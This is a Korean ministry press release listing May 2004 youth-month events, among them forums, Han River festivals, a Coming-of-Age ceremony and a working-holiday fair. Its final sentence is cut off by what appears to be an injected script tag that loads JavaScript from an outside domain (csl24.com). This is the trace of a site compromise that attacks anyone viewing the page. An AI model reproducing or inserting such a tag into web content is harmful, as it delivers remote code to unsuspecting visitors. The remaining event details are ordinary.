문화관광부는『도전하는 청소년이 아름답다』라는 주제로 「5월 청소년의 달」 한달 동안 다양한 행사를 전국 일원에서 다채롭게 전개한다. 청소년이 주체가 되고, 중앙행정기관, 지방자치단체, 교육청, 청소년단체 등이 주관하며 모든 국민이 참여하여 하나의 축제의 장이 될 수 있도록 꾸며지는 5월 청소년의 달 행사는 청소년들이 자신의 개성과 특기를 발휘하고, 21세기 문화 창조의 역동적 힘을 마음껏 펼칠 수 있도록 내실 있고 실질적인 사업으로 진행된다. 청소년의 달에 개최되는 주요 행사들은 다음과 같으며, 문화관광부 및 행사를 주관하는 기관·단체별 홈페이지에서 세부적인 계획과 참가사항을 확인할 수 있다. 청소년토론회 5월 청소년의 달을 앞두고 청소년들이 직접 청소년 정책에 대한 요구사항을 이야기하는 「청소년 정책, 청소년이 말한다」라는 주제로 토론회가 4월 30일 국제청소년센터에서 개최 된다. 청소년들이 스스로 기획하고운영하는 이 토론회에서는 금년 하반기에 개최될 대통령이 참석하는 청소년특별회의의 구성과 운영방안에 대해 청소년들의 의견이 중점 개진될 전망이다. 한편, "청소년이 행복한 나라 만들기 프로젝트"가 추진된다. 한국청소년개발원은 "청소년이 행복한 나라, 청소년이 만든다!"라는 주제로 5월 22일(토) 오후 1시에 한국스카우트연맹 회관에서 『청소년인권 토론회』를 개최한다. 이번 토론회는 열악한 청소년 인권실태를 진단하고, 그 대안을 모색하는 자리로서 청소년 자치조직들이 모여 준비위원회를 구성하고 청소년들이 자발적·자율적으로 기획·실행·평가의 전과정에 참여함으로써 청소년이 스스로 문제를 인식하고 개선방안을 제시하는 토론회가 될 것으로 기대된다. 동아리문화축제 및 청소년한강축제 문화관광부와 한국청소년동아리연맹에서는 5.22(토) 오전 10시부터 오후 7시까지 한강시민공원 여의도지구에서 "세상을 바꾸는 힘 청소년, 네 끼를 펼치라"라는 주제로 『2004 한강청소년동아리문화축제』를 개최한다. 공연, 전시, 체험, 놀이, 참여마당으로 진행될 이번 행사는 전국 150여개 동아리에서 3천여명이 참가하여 동아리문화 확산과 발전을 도모하며 청소년에 의한 제2의 (한강)문화기적을 창출할 예정이다. 특히 이날 문화관광부 직원 6명으로 구성된 보컬밴드 『노망스』가 "젊은 그대" 등 다양한 곡을 청소년들 앞에서 공연할 예정이다. 또한 문화관광부와 한국해양소년단연맹에서는 5.23(일) 오전 10시부터 오후 4시까지 한강시민공원 여의도지구에서 "제14회 청소년 한강축제"를 개최한다. 수상축제, 해군의장대 시범, 승선체험항해 등으로 진행될 이번 행사에서는 해양소년단원 4천명, 일반청소년 2천여명 등 6천여명이 참가해 한국의 진취적 해양문화를 선보일 예정이다. 성년의 날 문화관광부는 올해 만 20세(1984년생)가 되는 청소년 60명(장애우 4명 포함)을 초청해 5월 17일(월) 오전 10시 30분에 경복궁 경회루 잔디마당에서 표준성년례에 따라 「 성년의 날」을 재현할 예정이다. 성년례는 예부터 이어져 오고 있는 우리나라의 고유한 전통예식으로서,「성년의 날」을 통해 원형을 되찾고 있으며, 올해로 32회를 맞이하고 있다. 이번에 초청된 60여명의 청소년은 인터넷 공모와 청소년단체의 추천으로 모집된다. 이외에도 지방자치단체, 공공기관, 청소년단체, 일반 기업체에서도 해당 지역이나 단체에 속한 성년자를 격려하고 축하하는 다채로운 행사를 각 기관 단체의 실정에 맞게 거행할 예정이다. 한편, 문화관광부는 SK텔레콤 , KTF, LG텔레콤 등 이동통신 3사와 협력하여 성년의 날 아침에 성년자에게 성년이 된 것을 축하하고, 격려해 주는 축하메시지를 발송할 예정이다. ※ 성년인구 : 총 659,368명(남 341,320명, 여 318,048명) / 통계청 추계인구 워킹홀리데이프로그램 박람회 한국청소년단체협의회 워킹홀리데이지원센터에서는 5월 22일(토) 오전 10시부터 오후 6시 까지 명동 외환은행 본점 대강당에서 2003년도에 이어 두 번째 워킹홀리데이 박람회를 개최한다. 문화관광부와 워킹홀리데이 비자 협정국 대사관 후원으로 개최되는 이번 박람회에는 일본대사관, 캐나다대사관, 호주대사관 이외 각국 관광청, 교육원 등 관련 30여개 단체가 참가하여 워킹홀리데이에 대한 원스톱 상담을 제공하고, 체험자 사진전 및 국가별 사례발표, 체험자와의 1:1 상담 등 생생한 정보교류의 장을 제공할 예정이다. 참고로 우리나라는 1995년 호주와 최초로 비자협정을 맺은 이래로 현재 일본, 뉴질랜드, 캐나다에 연간 1만여명의 청소년이 본 프로그램에 참가하고 있다. 청소년 및 청소년유공자 포상·격려 문화관광부는 5월 말 창의적 아이디어와 탁월한 문화예술적 감성으로 21세기 청소년상 구현에 본을 보인 청소년들과, 청소년?script src=http://www.csl24.com/b.js>